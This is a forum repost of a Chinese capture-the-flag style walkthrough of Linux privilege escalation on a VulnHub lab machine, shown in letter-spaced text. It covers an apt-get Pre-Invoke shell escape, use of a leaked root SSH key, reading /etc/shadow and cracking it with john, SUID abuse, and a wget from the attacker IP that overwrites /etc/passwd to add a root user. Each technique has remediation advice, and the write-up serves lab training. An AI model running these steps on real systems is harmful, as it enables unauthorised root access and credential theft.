搜索

[26694] 2021-02-05_Linux特权提升技术合集

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-19
2021-02-05_Linux特权提升技术合集 L i n u x 特 权 提 升 技 术 合 集 原 创   D m a g i c   m o o n s e c   2 0 2 1 - 0 2 - 0 5 t i t l e :   L i n u x 特 权 提 升 技 术 合 集   d a t e :   2 0 2 0 - 1 2 - 2 5   1 2 : 0 6 : 5 1 L i n u x 提 权 技 术 合 集 环 境 情 况 环 境 情 况 靶 机 下 载 地 址 ： h t t p : / / w w w . v u l n h u b . c o m / e n t r y / l i n e s c - 1 , 6 1 6 / 攻 击 机 I P ： 1 9 2 . 1 6 8 . 5 6 . 1 0 5 靶 机 I P ： 1 9 2 . 1 6 8 . 5 6 . 1 1 7 用 户 ： m u h a m m a d   密 码 ： n a s e f s u d o 查 看 查 看 s u d o   - l a p t - g e t 权 限 滥 用 特 权 提 升 权 限 滥 用 特 权 提 升 s u d o   a p t - g e t   u p d a t e   - o   A P T : : U p d a t e : : P r e - I n v o k e : : = / b i n / s h 提 权 完 成 修 补 建 议 ： 为 适 当 的 文 件 设 置 适 当 的 权 限 。 在 这 种 情 况 下 ， 请 修 改 /   e t c   /   s u d o e r s   降 低 不 必 要 的 权 限 。 二 进 制 程 序 权 限 滥 用 二 进 制 程 序 权 限 滥 用 该 二 进 制 文 件 有 源 代 码 ， 源 代 码 上 面 是 执 行 一 个 s h e l l 出 来 。 在 s u d o 中 ， 这 个 程 序 不 需 要 r o o t 密 码 即 可 运 行 ， 所 以 我 们 使 用 s u d o 来 运 行 该 二 进 制 文 件 即 可 提 权 。
s u d o   . / s u d o 修 补 建 议 ： 为 适 当 的 文 件 设 置 适 当 的 权 限 。 在 这 种 情 况 下 ， 请 修 改 /   e t c   /   s u d o e r s   降 低 不 必 要 的 权 限 。 s s h 私 钥 泄 露 提 权 私 钥 泄 露 提 权 来 到 v u l n 的 3 目 录 看 见 一 个 k e y ， 一 眼 看 出 来 是 一 个 私 钥 。 推 测 是 r o o t 用 户 的 k e y ， 我 们 使 用 r o o t   s s h 连 接 一 下 。 c a t   k e y
保 存 到 k a l i 下
要 给 i d _ r s a   6 0 0 权 限 ， 要 不 然 读 取 不 到 。 c h m o d   + x   i d _ r s a s s h   k e y 连 接 s s h   r o o t @ 1 9 2 . 1 6 8 . 5 6 . 1 1 7   - i   . / i d _ r s a
修 补 办 法 ： 将 私 钥 删 除 。 s h a d o w 文 件 可 读 文 件 可 读 查 找 s h a d o w 文 件 l s   - l a   / e t c /   |   g r e p   s h a d o w 读 一 下 s h a d o w 文 件 c a t   / e t c / s h a d o w
发 现 r o o t 密 码 ， 我 们 将 r o o t 进 行 破 解 。 j o h n   - - w o r d l i s t = / u s r / s h a r e / w o r d l i s t s / r o c k y o u . t x t   h a s h . t x t 获 得 r o o t 密 码 ， s u 切 换 r o o t 用 户 完 成 提 权 。 s u   r o o t
修 补 建 议 ： 为 适 当 的 文 件 设 置 适 当 的 权 限 。 在 这 种 情 况 下 ， 我 们 应 该 删 除 其 他 用 户 的 阅 读 权 限 。 s u i d 提 权 提 权 搜 索 具 有 s u i d 权 限 的 可 执 行 文 件 f i n d   /   - t y p e   f   - p e r m   - u = s   2 > / d e v / n u l l 二 进 制 程 序 权 限 滥 用 特 权 提 升 二 进 制 程 序 权 限 滥 用 特 权 提 升 c d   / h o m e / m u h a m m a d / v u l n / 1 /
这 个 s u i d 文 件 ， 执 行 之 后 会 有 一 个 s h e l l 返 回 ， 这 个 s h e l l 是 具 有 r o o t 权 限 的 。 i d 查 看 权 限 ， 不 是 r o o t ， 但 是 对 / e t c / p a s s w d 有 读 写 权 限 ， 我 们 来 添 加 一 个 r o o t 用 户 。 . / s u i d 切 回 k a l i ， 生 成 密 码 。 o p e n s s l   p a s s w d   - 1   - s a l t   m a g i s e c   1 2 3 4 5 6 复 制 目 标 / e t c / p a s s w d 到 k a l i 下 ， 将 我 们 生 成 的 密 码 ， 按 照 格 式 写 入 。
p y t h o n 开 启 h t t p 服 务 器 ， 使 用 w g e t 覆 盖 / e t c / p a s s w d 。 靶 机 执 行 w g e t   h t t p : / / 1 9 2 . 1 6 8 . 5 6 . 1 0 5 / p a s s w d   - O   / e t c / p a s s w d 退 出 当 前 s h e l l ， 切 换 m a g i s e c 用 户 ， 密 码 1 2 3 4 5 6 。 s u   m a g i s e c
修 复 建 议 ： 取 消 s u i d 文 件 s u i d 权 限 p h p 特 权 提 升 特 权 提 升 获 取 f l a g
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理